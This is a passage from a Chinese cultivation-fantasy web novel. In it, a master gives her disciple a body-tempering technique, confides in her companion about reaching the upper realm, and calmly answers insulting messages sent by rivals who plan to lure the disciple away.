“会喷火?据我所知,七彩凤羽鸡虽然漂亮,但只是低阶灵兽,根本不会喷火啊。” “不是七彩凤羽鸡吗?”云见月愣了一下,“那是什么?” “谁知道呢,或许是某种变异的品种吧。”花影也没太在意。 云见月却微微蹙起了眉,总觉得哪里不对劲,自己好像忘记了什么重要的事情。 她仔细回想……那天,她还遇到了萧凡和郁姝,发生了点不愉快…… 而第二天,楚凌风就杀气腾腾地找上门来,口口声声说她抢了他徒弟的灵兽,两人还因此动了手…… 似乎...... 萧凡契约火凤凰的节点就是那几天。 这么串联起来……萧凡契约凤凰的时间、她烤鸡的时间、楚凌风找上门的理由……所有线索拼在一起。 她抓了、烤了、吃掉的……根本不是什么七彩凤羽鸡…… 而是火凤凰?! 云见月:“!!!” 她全身瞬间僵住。 好吧……破案了。 看样子自己在秘境里能扛过四十九次血祭,并不只是枯荣轮回菇“轮回”之力的功劳,火凤凰那强大的“涅槃”之力,恐怕在其中也起到了关键的作用! 想到这些,她不禁一阵后怕和庆幸。 还好……还好自己当初有眼不识金镶玉,把凤凰当野鸡,把神菌当蘑菇,阴差阳错之下全都吃了下去,否则,她早就死在境珠的血祭之上了,哪还有今天? 或许,还有渺渺的功劳。 当初进秘境前,渺渺真诚的祝愿她化险为夷,遇难成祥,那道言灵祝福,或许也是她能化险为夷的原因之一。 重重buff叠加到一起,才令她引爆爆灵雷没死,掉入灵泉没被淹死还被卷入到秘境核心,被抽干血一次次血祭还能活,最终又契约了秘境境珠掌握一方空间。 这么多巧合,那就不是巧合了。 绝对的buff加成!!! …… 吃完饭,天色已经彻底黑透。 花影带着合欢宗八人告辞。 离开玄天宗山门一段距离后,花影突然停下,回头看着身后八人,神色是少有的严肃。 “今日之事,尤其是月月契约了秘境境珠之事,出了玄天宗,我希望你们能彻底忘在肚子里,对任何人都不得提起半分。” “记住,咱们能活下来,是月月不惜暴露秘境所致,她本可以不救我们,但她偏偏救了,你们能突破元婴,是沾了谁的光?能吃到那上古玄菌枯荣轮回菇,又是托了谁的福?” “我能感觉到,月月未来绝非池中之物。与她真诚相交,对我们合欢宗只有益处,没有坏处。这份善缘,值得我们用心维护,都明白了吗?” 八人神色一凛,他们能修炼到元婴期,自然不是傻子。 今日所见所闻所获,早已让他们心中震撼且感激。 与玄天宗、与云见月交好,无疑是极其明智的选择。 “我等明白!” 见众人郑重应下,花影这才放下心来,脸上重新浮现笑意:“走吧,回宗。” …… 玄天宗。 孩子们吃饱喝足,又缠着云见月说了好一会儿话,才恋恋不舍地回了自己的房间。 云见月却独独留下了萧星尘。 她从储物袋里取出一枚玉简,递到他手里。 “这里面是《九转星辰淬体术》,是为师特意为你寻来的炼体之术,即便你的灵根被封印,也能修炼。只要将这套体术练至大成,肉身便是你最强大的法宝,你不会比任何一个修士差。” 萧星尘紧紧握着那枚触手温凉的玉简,指尖都在微微颤抖。 就是为了这个东西,师尊差点死在秘境里。 从小到大,从未被人如此真心实意、不惜性命地对待过。 他死死咬着唇瓣,滚烫的泪水无声地滑落。 云见月见状,赶忙拿出手帕,轻轻擦去他脸上的泪,“怎么哭了?” 萧星尘吸着鼻子,哽咽道:“师尊,您为什么要对我这么好?这功法如此珍贵,您为何不自己练?反而送给我?人人都说我是废物,根本不值得您如此……” 云见月轻轻拂过他的发顶,目光温柔。 “这部功法于你,是利刃开锋,是鲲鹏得风。而于为师,它最大的价值,便是将它交到最合适的弟子手中,然后,见证你仗剑开前路荆棘,抵达我未曾见过的风景。” 她顿了顿,声音愈发柔和,“寻觅无上功法,不是为了证我自己的道,登我自己的峰。 为师之道,不在登临九天之境,而在见证你展翅凌霄。” 就如一颗种子,需细心灌溉,挡风遮雨,护它严寒,引它见日月星光,伴它度春秋冬夏。 而后,看着它抽枝发芽,看着它亭亭如盖,看着它最终挺拔入云,自成一方气象。 她的声音带着撼动人心的力量,“你之茁壮,便是为师修行之圆满;你之高飞,便是为师境界之升华。” “莫要辜负它,更莫要辜负你这一路走来的所有坚韧与不屈。你的大道在前方,而为师的光辉,自会在有你的道途上。” 她的身影在皎洁的月光下显得愈发宁静而高大,仿佛一座山峦,守护着身前的小少年。 萧星尘听完这一席话,再也抑制不住汹涌的情绪,猛地扑进云见月怀里,紧紧抱住她,哭得不能自已,不断地重复着“谢谢师尊”。 云见月轻轻拍着他的背,脑海里想起上辈子当金牌幼师前,培训的第一课。 【教育不是注满一桶水,而是点燃一把火。 我们付出的不是牺牲,而是投资,投资于一个个无限可能的未来。 孩子的光芒,从来不会掩盖我们的价值,而是将我们的生命,折射出更璀璨的彩虹。 真正的师者,甘愿成为阶梯,成为土壤,成为守望的灯塔,而后,欣慰地看着每一个孩子,走向比我们更辽阔的远方。】 她一直坚守着这句话,才能从众多幼师中杀出重围,成为华国最有名的金牌幼师。 她耐心的轻哄着,等萧星尘情绪渐渐平复,她才笑着柔声道:“在你们羽翼未丰之前,为师愿化为遮天的树,为你们挡尽风雨;待你们翱翔九天之时,为师便化作守望的风,护你们直上青云。” “所以,放心地去成长吧。” “为师想看你们护这世间值得。” 这,才是她最想要的,最想变成的样子。 第80章 仙门大比邀请函我要定了 萧星尘看着云见月的眼睛,用力点头,把她的话深深记在了心里。 他知道,从这一刻起,他的前路不再迷茫,因为他有一位最好的师尊,为他点亮了灯,也为他撑起了天。 萧星尘紧紧握着玉简抵在心口,像是捧着全世界最珍贵的宝藏。 “师尊,徒儿绝不会辜负您的期望!”他的声音因激动而微微发颤,却充满了力量。 “好。”云见月温柔颔首,“时间不早,回去休息吧。” “嗯!” 云见月站在原地,看着他的背影消失在走廊尽头,嘴角的弧度不自觉地扬得更高。 夜风拂过她的衣袍,带着几分凉意,却吹不散心头的暖意。 这大概就是为人师者最珍贵的时刻,看着自己守护的种子,终于有了向阳而生的勇气。 听了全程的虞青焰,怔怔地看着她侧脸上那温柔得几乎能融化月光的笑意,一时有些晃神。 他不由自主地想到了上一次,也是这般。 萧星尘因是否该回萧家给爷爷过寿而苦恼彷徨时,云见月也是如今天这般,她没讲半句“孝悌”的大道理,而是耐心引导,让他遵从本心,为他卸下沉重的心理包袱。 她从不是高高在上的严师,更像个细心的引路人。 对敏感的孩子,她给足温柔;对有恨的孩子,她给足支撑;对年长的孩子,她给足期许。 每个徒弟在她面前都是独特的,没有“统一的标准”,只有“适合的方式”。 虞青焰的心,像是被什么柔软而充满力量的东西轻轻撞了一下。 他见过上域太多大能收徒,或为传承道统,或为宗门利益,或为寻找仆役。 却从未见过一人,如她这般,纯粹地只是为了“育人”而成师。 他的目光落在云见月被月光勾勒出的柔和侧影上,一种难以言喻的震撼与欣赏,混合着一种连他自己都未曾察觉的悸动,悄然在心湖中荡开层层涟漪。 云见月一回头,就撞进他深邃专注的目光里。 两人视线对上,虞青焰心头一跳,慌忙举起折扇,抵在唇边轻咳了一声,试图掩饰自己的失神,可耳尖却不受控制地红了。 所幸,夜色已深,云见月并未注意到他这细微的变化。 “虞青焰。”她突然开口叫他,眼神比往日略显郑重,轻声开口,“可以陪陪我吗?” 虞青焰心脏没来由地又是一跳,扇子摇得快了些,语气努力维持着一贯的慵懒调侃: “干、干嘛?深更半夜,孤男寡女,你突然这么郑重其事地叫我,不会是想对我做什么吧?我可告诉你,我可是非常有原则的人,你休想……” 不等他插科打诨说完,云见月已足尖轻点,飞身落于不远处的山巅,随意坐在一块光洁的巨石上。 夜间微风吹拂着她的发丝和衣袂,皎洁的月光如水般倾泻在她身上,为她周身镀上了一层朦胧的银白光晕,清冷又温柔,遥远又不真实。 虞青焰的调侃卡在喉咙里,剩下的话全咽了回去。 他望着月光下她那不真实的身影,微微一怔。 随即深吸一口气,压下心头异样,飞身落在她身边,与她并肩坐下。 “怎么了?”他问,声音不自觉地放轻了些。 云见月望着星辰遍布的夜空,悠悠开口:“虞青焰,上域……是什么样子的?是不是真的如传说中那般,灵气化雨,强者如林?” 虞青焰愣了一下,诧异道:“你想去上域?” “不是我想,是一定要去。”云见月的语气平静却斩钉截铁,“而且,不是我自己去,是我的孩子们都要一起去,一个都不能少。” “为什么?”虞青焰有些不解。 云见月继续看天,轻声开口: “半年后的仙门大比,前五名可获得来自上域的邀请函。 这是上域在下域选拔翘楚的唯一途径,也是下域修士通往更广阔世界的唯一机会。 此届错过,便需再等十年。十年太久,我只争朝夕,不想他们错过。” 她的目光看着星空,声音柔和却有力,“据说上域人杰地灵,远非下域可比。我并非羡慕其繁华,我只是想知道,以我徒儿们的资质心性,若置于上域那般天地,可算得上一声天资卓绝?能否拥有立足之地?” “修仙界,从来便是强者为尊,弱肉强食。妄想偏安一隅、平安度日不过是奢望。即便我们不主动招惹是非,麻烦也会自行找上门。既然避无可避,那便唯有自身足够强大。” 她的目光投向远方,仿佛看到了孩子们未来的身影。 “既然要变强,那便不能永远困守于下域这方寸之地。我相信,我云见月的徒儿,合该拥有更辽阔的天空,去见识更壮丽的风景,去迎接更激烈的风浪。那才是他们真正该翱翔的天地。” “我从不苛求他们一定要站在世界之巅,背负沉重的荣光。” “我唯一所求,不过是愿他们道心坚韧,羽翼丰满。在未来某日,当风雨来袭,强敌环伺之时,他们能有足够的实力与底气,不卑不亢,从容立于天地之间。 能守护想守护的,能拒绝想拒绝的,能拥有选择自己命运的权利,而非被迫承受。 他们的强大,不是为了碾压他人,而是为了能平等而尊严地,走自己想走的路。” 夜风拂过,带来她身上淡淡的冷香,也带来了这番掷地有声,寓意深远的话语。 虞青焰再次被深深震撼。 他凝视着身旁的女子,她明明只是平静地坐着,说着并不激昂的话语,周身却仿佛散发着一种难以言喻的光辉。 他从未遇到过这样的女子,也从未听过哪位师尊,对弟子有这般深沉而睿智的期许。 在她身上,“一日为师,终身为父”这八个字,才有了最真切、最沉重的分量。 她像一盏灯,温柔而坚定地燃烧着自己,不是为了炫耀光芒,只是为了照亮孩子们前行的路,哪怕燃尽自身,亦在所不惜。 “上域从不缺有天赋的孩子。” 虞青焰的声音比平时低沉了些,带着几分认真,“缺的是肯蹲下来,陪他们慢慢长大的师尊。” “千里马常有,可伯乐不常有。” “你知道吗?像你这样,把徒弟的安稳看得比自己的修为还重,把徒弟的勇气看得比天赋还重要的人,我在上下域,只见过你一人。” 他顿了顿,眼神里满是折服:“那些孩子能遇到你,不是幸运,是福气。 上域有位大能,因为徒弟敏感怕生,直接把人丢进万蛇窟练胆气,最后那孩子疯了;还有人嫌徒弟执念太深,不堪大用,直接废了他的修为。 换做他们,郁仙的敏感会被当成矫情,江迷雾的仇恨会被当成执念,萧星尘的不能修炼会被当成废物。 可在你这里,他们的所有特质都被好好守护着,慢慢长成了自己该有的样子。” 云见月听到这话,眼里闪过一丝诧异,随即又软了下来,轻声问:“真的?” “嗯。”虞青焰郑重地点头。 对上她因惊讶而显得格外清亮专注的眼神,那目光仿佛能直直看进人心里去,他刚刚平复些许的心跳又有些不听话,忙转头看向别处,掩饰那一丝不自在。 他也算了解她了。 别看她对待自己的徒儿时,温柔耐心,笑意盈盈,可以像个孩子王一样陪他们玩闹,可以像母亲一样无微不至地呵护,也可以像父亲一样为他们撑起一片万里晴空。 但面对外界,她大多数时候都像一块封冻的寒冰,情绪极少外露,平静淡漠得近乎冷漠。 无论面对赞誉、辱骂或是其他,似乎都很难在她心中掀起真正的波澜。 唯有在涉及到她的徒儿时,这块寒冰才会瞬间融化,展现出内里所有的柔软、温暖与强大的力量。 这种反差,让虞青焰的心跳又快了几分。 他慌忙咳嗽两声,抓起折扇快速摇了起来,可扇风的节奏乱得厉害,眼神也不敢看云见月,语气却瞬间臭屁。 “当然,像我这般天纵奇才,无需伯乐指点,仅靠自身悟性便能修为大成、冠绝同辈的,放眼整个上域,你也找不出第二个了!” 云见月被他逗笑,眼中的郑重化为莞尔:“是是是,你虞大美人最是厉害,天赋异禀,古今无双。我们玄天宗能有今日的安稳,还多亏了有你这尊大佛坐镇呢。” 她语气带着几分调侃,接着似想起什么,颇为感慨地道:“你可能不知道,我有很多次都暗自庆幸,当初在黑市卖你蘑菇时,提出的条件是让你守护玄天宗十年。如今看来,将你捆在我这小小宗门,简直是我做过最明智的决定之一了。” 她只是随口一句由衷之言,听在虞青焰耳中,却让他的脸颊又一次不受控制地微微发热。 幸好夜色浓重,遮掩了他耳根再次泛起的薄红。 两人不再说话,只是并肩坐在山巅巨石上,望着星空下的云海沉浮。 夜风温柔地拂动着,带来远处草木的清香。 良久,云见月忽然轻声开口,声音融在风里,几乎听不真切:“我引爆爆灵雷,与楚凌风同归于尽的那一刻……其实,真的很害怕。” 虞青焰心头一凛,侧过头看她。 她清冷的侧脸在月光下显得格外白皙,语气平静得像在说别人的事,可目光却黯淡了一瞬。 只听她继续低声道:“我怕我死了,孩子们就彻底没了依靠。他们还那么小,那么弱……我只要一想到他们可能会无依无靠、任人欺凌……那种画面,简直比让我再死一次还要难以接受。” 她停顿了一下,微微吸了口气,声音更轻了些:“你知道那时,我最后想到的是什么吗?” “是什么?”虞青焰不自觉地放柔了声音问道。 “我想到了你。”云见月转过头,目光清澈地看向他,“我把所有的希望,都寄托在了你身上。希望你能记得那份承诺,看顾好玄天宗,护佑他们十年平安。毕竟……” 她忽然笑了一下,“那份承诺只是口头约定,我甚至不曾让你发下天道誓言来约束你。” “切!”虞青焰故作不屑地哼了一声,可眼神却软了下来,“我虞青焰向来说一不二,何须天道誓言约束?就算你没提,我也不会看着玄天宗出事。” 云见月见他这副模样,脸上的笑容加深,眼中漾开真实的暖意:“是,你最是一诺千金了。” 夜风再次吹过,带着她的冷香,缠绕在虞青焰的鼻尖。 他嗅着那淡雅的香,看着近在咫尺的脸,心脏像是被羽毛轻轻刮了一下,一种陌生而悸动的暖流瞬间涌遍四肢百骸。 那个向来眼高于顶、仿佛世间万物皆不入眼的他,似乎在这一刻,眸子里清晰地、深刻地,装入了一个人的影子。 山巅的月光很柔,夜风很轻,两个人并肩而坐,安静又温馨。 第81章 九转星辰淬体术,萧星尘终于可以修炼了 时间拉回到几个时辰前,就在云见月从药仙谷脱身、楚凌风等人追击而去之后。 残阳如血,将药仙谷的断壁残垣染得一片猩红。 整个药仙谷都弥漫着浓重的绝望气息。 郁长林脸色灰败,昔日谷主的威仪荡然无存,只剩下丹田被废后蚀骨的虚弱与怨毒。 现在的他,沦落为一个彻头彻尾的废人。 这让狂妄自大的他如何能接受。 “修复丹田……必须修复丹田!”他双眼布满血丝,状若疯癫地低吼着。 如今,能修复丹田的方法只有两个。 一、从萧家拿到还阳草,再求那位神秘的三小姐炼制天阶极品大还丹。 当初为了轩儿,他早已拉下脸去求过萧家那个老不死的,结果被毫不留情地拒绝了。 不过,就算侥幸拿到还阳草,那位三小姐也不一定会为他开炉炼丹,因为他们根本毫无交情。 那么,就只剩第二个办法了——郁仙的血。 一想到郁仙体内融合了枯荣轮回菇的药性,郁长林的呼吸就变得急促起来。 可他随即又攥紧了拳头,指甲深深嵌入掌心,郁仙躲在玄天宗的护山大阵里,任凭他们在外如何辱骂、叫嚣、用尽激将法,她都无动于衷。 上次能把她骗出来,全靠幻影石幻化出云见月的幻象。 如今云见月好端端地活着,这一招已然彻底失效。 “到底要怎么办?难道我真要一辈子做个废人不成?” 郁长林气得踹翻一块断木,胸口的疼痛让他忍不住咳嗽起来。 咳着咳着,他猛地抬起头,浑浊的眼中骤然爆射出骇人的精光,仿佛抓住了最后一根救命稻草:“姝儿……对,还有姝儿!” 郁姝和萧凡是师兄妹,关系亲厚。 而萧凡又是萧家这一辈的佼佼者。 如果让郁姝去求萧凡帮忙,让萧家以家族长辈的名义向萧星尘那个废物施压……先把萧星尘从玄天宗骗出来,只要把萧星尘骗出玄天宗,抓在手里,还怕云见月不乖乖就范? 届时,主动权就掌握在他的手里。 云见月那个贱人若敢不听話,他们就让萧星尘痛不欲生。 威胁她,必须提供郁仙的鲜血供他们疗伤,否则就立刻废了萧星尘的丹田,让他也尝尝做废物的滋味。 对!就这么办! 郁长林的眼神变得异常冰冷锐利,仿佛毒蛇锁定了猎物。 他相信萧凡一定会帮忙,不仅仅是为了郁姝这个师妹,更因为楚凌风刚刚在云见月手里折了面子。 那位心高气傲的青云剑宗少主,定然也憋着一肚子气无处发泄。 当他将这个计划说出来时,身旁的柳静怡、郁明轩以及春夏秋冬四老,所有人的眼中都燃起了同样怨毒而兴奋的光芒。 “此计甚好!” 春夏秋冬四老看着彻底化为废墟、灵草尽枯的药仙谷,心中亦是滴血。 千年基业,毁于一旦。 尤其是药园被吸干生机,直接动摇了药仙谷的根本。 此仇不共戴天,他们哪里还有心思冲击什么化神期?满心只想复仇。 见所有人一致同意,郁长林郑重的看向郁姝。 “姝儿,一切都靠你了。” 郁姝重重点头。 …… 青云剑宗。 静室内的烛火在灵力波动中明灭不定,映得楚凌风扭曲的脸忽红忽青。 他周身灵力躁动不安,室内的摆设早已被他宣泄的怒气震碎了一地。 “贱人——都是贱人——”他低吼着,拳头砸在石壁上,留下一个深深的凹陷。 他满脑子都是自己遭遇的奇耻大辱。 在灵墟秘境时,云见月那个贱人不知用了什么诡异法宝,竟差点将他炸得粉身碎骨。 明明他修为远超于她,却被她逼到差点身死道消。 今日在药仙谷,他更是眼睁睁看着她逃走,还被她成功逃回玄天宗,被那该死的护山大阵反弹得狼狈不堪。 这一切的一切,都像一根根毒刺,狠狠扎在他的骄傲之上。 从前,云见月虽然像个舔狗般令他厌烦,但至少满足了他的虚荣心。 可如今,她就像完全变了个人,冷漠、强大、一次次地挑战他的权威,将他的尊严踩在脚下。 “云!见!月!我定要将你碎尸万段!”楚凌风怒吼着。 就在他怒火中烧,难以自抑时,怀中的玉简微微发烫。 他烦躁地取出,神念扫入。 下一秒,传出了萧凡的声音。 【师尊,您想不想对付云见月那个贱人?徒儿有一计,或可让她跪地求饶,任我等拿捏……只需如此……】 就在刚刚,郁姝给萧凡传讯诉说了自己如何被欺负,药仙谷如何被毁的事。 萧凡听闻自己的小师妹受了欺负,顿时怒火中烧,立即保证会为她讨回公道。 现下,正是他给楚凌风传讯,将那个利用萧星尘的计划和盘托出。 楚凌风看完,眼中瞬间爆发出骇人的精光与狠戾。 几乎没有丝毫犹豫,他立刻回复了两个字:“可!” 萧凡嘴角勾起一抹极度不屑的冷笑。 萧星尘? 那个萧家最大的耻辱,明明是单一土灵根,却是个不能修炼的废物。 平日里,这种垃圾连让他看一眼的资格都没有,与他说话都嫌脏了自己的身份。 不过,为了替姝儿出气,更为了打击云见月和郁仙这两个贱人,他不介意陪萧星尘这只蝼蚁玩玩。 他语气傲慢而刻薄地录下了一段讯息,用玉简传给了萧星尘。 “萧星尘,你这个家族的耻辱,爷爷大寿,所有子弟都到了,唯独你缺席,你眼里还有没有萧家? 是不是以为拜了个不知所谓的女流之辈为师,就敢连根都忘了?果然废物就是废物,只会找些下九流的靠山。” “爷爷对你的所作所为非常失望,你若还想在族谱上留名,就立刻滚回萧家磕头请罪。 否则,必将你彻底逐出家门,让你和你那上不得台面的师父一样,成个无根无萍的笑话,给你三天时间,滚回来!” …… 此时,玄天宗,萧星尘的小院。 深夜的庭院万籁俱寂,其他师弟师妹早已进入梦乡。 萧星尘却毫无睡意。 他盘膝坐在房中,小心翼翼地将那枚记载着《九转星辰淬体术》的玉简贴在眉心。 冰凉触感传来的瞬间,异变陡生。 一股温凉而浩瀚的仿佛蕴含着星芒的流光,从玉简中涌出,顺着他的眉心,涌入识海。 无数玄奥的文字与图案,像活过来一般,在他的脑海里流转、盘旋,最后化作一套完整的体术图谱,清晰地印在他的识海里。 “这……这是……”萧星尘震惊地睁开眼,指尖微微颤抖。 图谱里的每一个动作,都蕴含着天地至理,看似简单的抬手、屈膝,却仿佛能引动天地间的某种力量,玄之又玄。 他强压下激动的心绪,沉下心神,仔细感悟着识海中的无上法门。 越是感悟,他心中的震惊与敬畏就越深。 这炼体术的玄妙与强大,远超他的想象。 萧星尘再也按捺不住,站起身,走到院落中央。 夜空繁星密布,星光洒落,落在他的身上。 萧星尘深吸一口气,回忆着图谱里的第一个动作——星辰初落。 他缓缓抬起右手,试图将手臂弯成图谱中的弧度,可刚一用力,就感觉肩膀、手臂、甚至腰腹的肌肉都在被强行拉扯,像有无数根细针在扎,疼得他额头瞬间冒出冷汗。 “好、好疼……” 动作看似简单,但当他试图标准地完成时,瞬间剧痛如潮水般袭来。 他的额头上青筋暴起,冷汗涔涔而下,牙齿咬得咯咯作响。 但他眼底,却是一片前所未有的坚毅。 师尊为了给他寻来这套体术,差点死在秘境;师尊说,他练会了,就能变强,就能护着师弟师妹,就能不辜负师尊的期望。 “我不能认输!” 他咬破舌尖,血腥味让神志清醒。 此刻他裸露在外的皮肤泛起细密的银光,肌肉下仿佛有无数星点在游走。 萧星尘硬生生调整着手臂的角度,每动一分,肌肉的撕裂感就加重一分。 他忍受着千刀万剐般的痛苦,一点点地调整、纠正着姿势,追求着与功法中分毫不差的完美姿态。 时间一点点流逝,就在他感觉快要到达极限,身体几乎要崩溃时—— “嗡!” 仿佛某个关卡被骤然打通。 九天之上,磅礴的星辰之力,如同受到牵引般,从四面八方汇聚而来,如同银色的溪流,涌入他的身体。 这股力量霸道无匹,如同无形的巨锤,一遍遍捶打着他的肉身,又似炽热的火焰,煅烧着他的筋骨。 痛苦!极致的痛苦! 萧星尘只觉得全身的肌肉、骨骼、经脉,都在被星光反复冲刷、锤炼,像是被投入熔炉的铁块,在千锤百炼中被重塑。 剧痛让他眼前阵阵发黑,但他却激动得浑身颤抖。 有用!真的有用! 他的身体清晰地感受到,在这星辰之力的淬炼下,正在一丝丝地变得更强韧。 虽然灵根依旧被封印,无法吸纳灵气,但他的肉身,正在开辟一条全新的、强大的道路。 巨大的惊喜和感激冲垮了他的心防,眼眶再次不由自主地红了。 “师尊放心……徒儿一定不会让您失望……” 这一夜,玄天宗上空,星光不散。 萧星尘一遍遍练习着“星辰初落”,从最初的剧痛难忍,到后来的渐渐适应,四个时辰过去,天快亮时,他才勉强将这个动作练得熟练。 这套体术分为九重,每一重又分为九式。 足足九九八十一式。 完成第一个最简单的动作,他就用了四个时辰。 后面的动作只会越来越难。 足见,其修炼难度,堪称变态。 当第一缕晨曦划破夜空,繁星消散,萧星尘再也支撑不住,瘫倒在地。 他躺在冰冷的石板上,满头大汗,浑身酸痛,却露出了发自内心的笑容。 他终于可以修炼了,终于有机会变强了。 他闭上眼睛,疲惫感席卷而来,很快就睡了过去。 至于萧凡发来的传讯,他连看都没看一眼。 第82章 就让那些诋毁过你的人,成为你的磨刀石 玄天宗的厨房炊烟袅袅。 云见月系着月白围裙,正将最后一笼肉包子端离蒸笼,氤氲的热气,盖不住她一脸的温柔。 餐桌上,炸得金黄酥脆的油条、散发着浓郁豆香的现磨豆浆静静摆放着,旁边还有裂纹中浸透深褐卤汁、五香味十足的茶叶蛋。 "孩子们,吃饭了——"她扬声唤道。 "哇!是肉包子!"苏渺渺第一个冲进餐厅,小鼻子使劲嗅着,眼睛亮得像缀了星星。 鹿闻声、郁仙和江迷雾跟进来,鹿闻声已经熟练地去拿碗筷,郁仙和江迷雾则是去洗手。 一切准备就绪,孩子们围着圆桌坐好,每人面前都有个蓝边白瓷碗。 云见月笑着给他们分包子,忽然目光一顿,萧星尘的位置空着。 “咦?星辰怎么没来?难道还没醒?”她轻声自语。 乖巧的江迷雾立刻从自己的小板凳上跳下来,主动请缨:“师尊,我去叫大师兄!” “不必,”云见月温和地制止了他,示意他坐回去好好吃饭,“你先吃。” 说罢,神识如轻柔的水纹漫向萧星尘的小院。 只见晨光微露的庭院中,那个瘦削却坚韧的身影,竟直接躺在冰冷的石板上睡得正沉。 他小脸红扑扑的,额际鼻尖还挂着细密的汗珠,唇边漾着一抹满足而疲惫的笑意。 云见月微微一愣,随即了然。 定是昨夜给他的《九转星辰淬体术》,让这孩子痴迷地练了一宿,直至力竭,竟就这样倒在地上睡了过去。 “这孩子......”她心下又是心疼又是好笑,轻轻摇了摇头。 转身拿过一个干净的大碗,仔细挑了两个馅料最足的肉包子,又选了一个色泽最漂亮的茶叶蛋放入碗中,又倒了杯温热的豆浆,端起便朝着萧星尘的院落走去。 她先将早饭放在他房间的桌子上,然后才走到院中,在他身边缓缓蹲下。 小家伙睡得极沉,长睫在眼下投出一小片阴影,毫无防备的睡颜显得格外稚气柔软。 云见月无奈,伸手想将他抱回房里。 指尖刚一触及他的后背,便摸到一片冰凉的濡湿。 里衣竟早已被汗水彻底浸透,紧紧贴在他身上,带着夜露的寒凉。 “出了一身汗,就这样睡在地上,着凉可怎么好。”她低声轻嗔,指尖已经凝出淡蓝灵光,一个清尘术拂过,萧星尘的衣发瞬间变得干爽洁净。 接着她小心翼翼地将他打横抱起,孩子竟是比想象中沉些。 抱回房间轻轻放在床上,云见月坐在床沿,指尖轻柔地将他额前发丝理顺。 睡梦中的萧星尘感受到了痒意,迷糊中往她掌心蹭了蹭。 她看着他熟睡的脸,眼底的温柔几乎要溢出来,哪里还舍得叫醒他? 吃饭固然重要,但比起强迫他从疲惫的深眠中挣扎醒来,他此刻更需要的是一场不受打扰的好眠。 云见月细心替他脱了鞋,刚要盖被子,目光却敏锐地捕捉到一阵极其微弱的灵力波动,正来自萧星尘腰间悬挂的储物袋。 谁会给星辰传讯? 云见月的第一反应是尊重孩子的隐私,不该擅自查看。 但一种说不清道不明的、属于师尊的直觉,让她心头掠过一丝细微的不安。 孩子或许需要隐私,但师尊更有责任排除一切潜在的危险。 略作沉吟,她最终还是从他的储物袋中取出了玉简。 神识扫过的瞬间,萧凡刻薄的辱骂汹涌而出。 "萧星尘你个废物,爷爷寿宴你敢缺席,是想让全天下人笑我萧家出了个不孝子孙吗?我告诉你,三天内不滚回来请罪,族谱上就没你这号人。"后面还有更难听的污言秽语,字字句句都透着轻蔑与恶意。 云见月脸上没什么表情,唯有眸子微微眯起,眼底寒芒一闪而过。 距离萧老爷子寿宴已过去近一个月,萧凡早不骂晚不骂,偏偏此刻发难,其目的绝非单纯羞辱那么简单。 显然是想诱星尘回萧家。 回去后会发生什么?她猜不透,但绝不是好事。 云见月唇角勾起一抹冰冷的弧度,指尖在玉简上轻点,传回两个字: 【小丑。】 几乎是瞬间,玉简那头爆发出更激烈的灵力波动。 萧凡的怒吼声透过玉简传来,"你说谁是小丑?!你这个连灵气都吸纳不了的废物,寄生在家族血脉里的蛀虫,也配骂我? 你才是小丑!是我们萧家的耻辱,我要是你早就拿根绳子吊死了,你还有脸活着,可见脸皮有多厚。" 污言秽语如毒液般喷溅,云见月却依旧心如止水,淡淡传去四个字: 【毫无教养。】 “我没教养?你这个有娘生没娘教的野种才没教养,萧家白养你这么多年,就养出你个恩将仇报的白眼狼,烂泥扶不上墙的废物,只配跪在地上像条狗一样摇尾乞怜,你……” 又是一通歇斯底里的咆哮。 云见月甚至能想象到对方气急败坏、面目扭曲的模样。 她懒得再与这等人多费口舌,凝聚灵力,发出了最后一道讯息: 【聒噪。】 这一次,玉简那头彻底没了动静,似乎是被对方的平静气狠了,感觉自己骂再多都是在自取其辱。 云见月将玉简放回萧星尘的储物袋,再次掖了掖被角,目光落在他恬静的睡颜上时,所有的冰冷顷刻化为深沉的温柔。 “乖孩子,不要怕,任何危险,为师都会为你挡下,你只需负责好好成长,变得强大。” 轻声说完,她小心的带上房门,悄然离去。 …… 萧星尘这一觉,一直睡到日头西斜,才悠悠转醒。 他揉着眼睛坐起,发现自己竟安稳地躺在温暖的床上,身上干爽舒适,他先是怔了一下,随即意识到定是师尊来过了。 一股暖流瞬间涌遍全身,心中充满了难以言喻的感动。 鼻尖萦绕着食物的香气,他猛地看向桌子,早饭的肉包子、豆浆,还有午饭的几样小菜,都用灵力罩着,还散发着温热的气息。 他快步走到桌边,首先映入眼帘的是一张压在碗下的素笺。 上面写着一句简单却让他眼眶发热的话: 【修炼虽重要,身体更是宝。好好吃饭,师尊盼你安好。】 短短一行字,却蕴含着无尽的关怀与爱护。 萧星尘小心翼翼地拿起纸条,极其郑重地将它折好,珍藏进贴身的储物袋中。 凡是师尊给予的,哪怕只是一字一句,他都视若珍宝。 他捧起那个依旧温热的肉包子,大大地咬了一口。 面皮松软,内馅鲜美多汁,混合着灵麦特有的香气和师尊独有的、让人安心的味道,好吃得让他差点把舌头也吞下去。 果然,这世间万千美味,都不及师尊亲手做的一餐一饭。 他狼吞虎咽地吃完两顿饭,感觉全身都充满了力气。 简单调息后,他走到院中,开始巩固昨夜练的"星辰初落"。 体术的玄妙在反复练习中愈发清晰,每一个动作都能引动细微的星力淬炼肉身。 才练了一个多时辰,肚子又开始咕咕叫,这体术果然极度耗费体力。 幸好,晚饭的时辰很快到了。 餐桌上欢声笑语,小家伙们叽叽喳喳地说着白天的趣事,云见月笑看着他们。 灯光温暖,饭菜香甜,一切都充满了令人眷恋的烟火气息和家的温馨。 夜深人静,萧星尘站在院中,开始尝试第二个更加繁复艰难的动作。 剧痛比第一式更甚,仿佛每一寸肌肉都被强行撕裂重组,但他咬着牙坚持着。 从这天起,萧星尘几乎昼夜颠倒,白天吃饭休息巩固,夜晚则沉浸在体术的世界里,疯狂吸收星辰之力淬体。 光阴荏苒,转眼半个月过去。 夜以继日的苦修带来了惊人的回报。 萧星尘已成功掌握了《九转星辰淬体术》第一重的九个基础动作。 如今他仅凭肉身力量,不动用丝毫灵力,其肉身强度与爆发力,便已足以媲美炼气十二层的修士。 而年仅十岁、被誉为萧家天才的萧凡,如今的修为,也不过是炼气十二层。 萧星尘,仅用了短短半个月的时间,便在这条截然不同的炼体之路上,达到了与之相当的水准。 此等进境,足见《九转星辰淬体术》是何等逆天的功法。 剧情里,楚凌风修炼五行功法的同时,搭配这套体术,简直所向睥睨。 得到体术仅一年,他就突破了炼虚后期大圆满,成功迈入合体期,是下域当之无愧的第一人。 后来去了上域,上域的天骄也都被他轻松碾压。 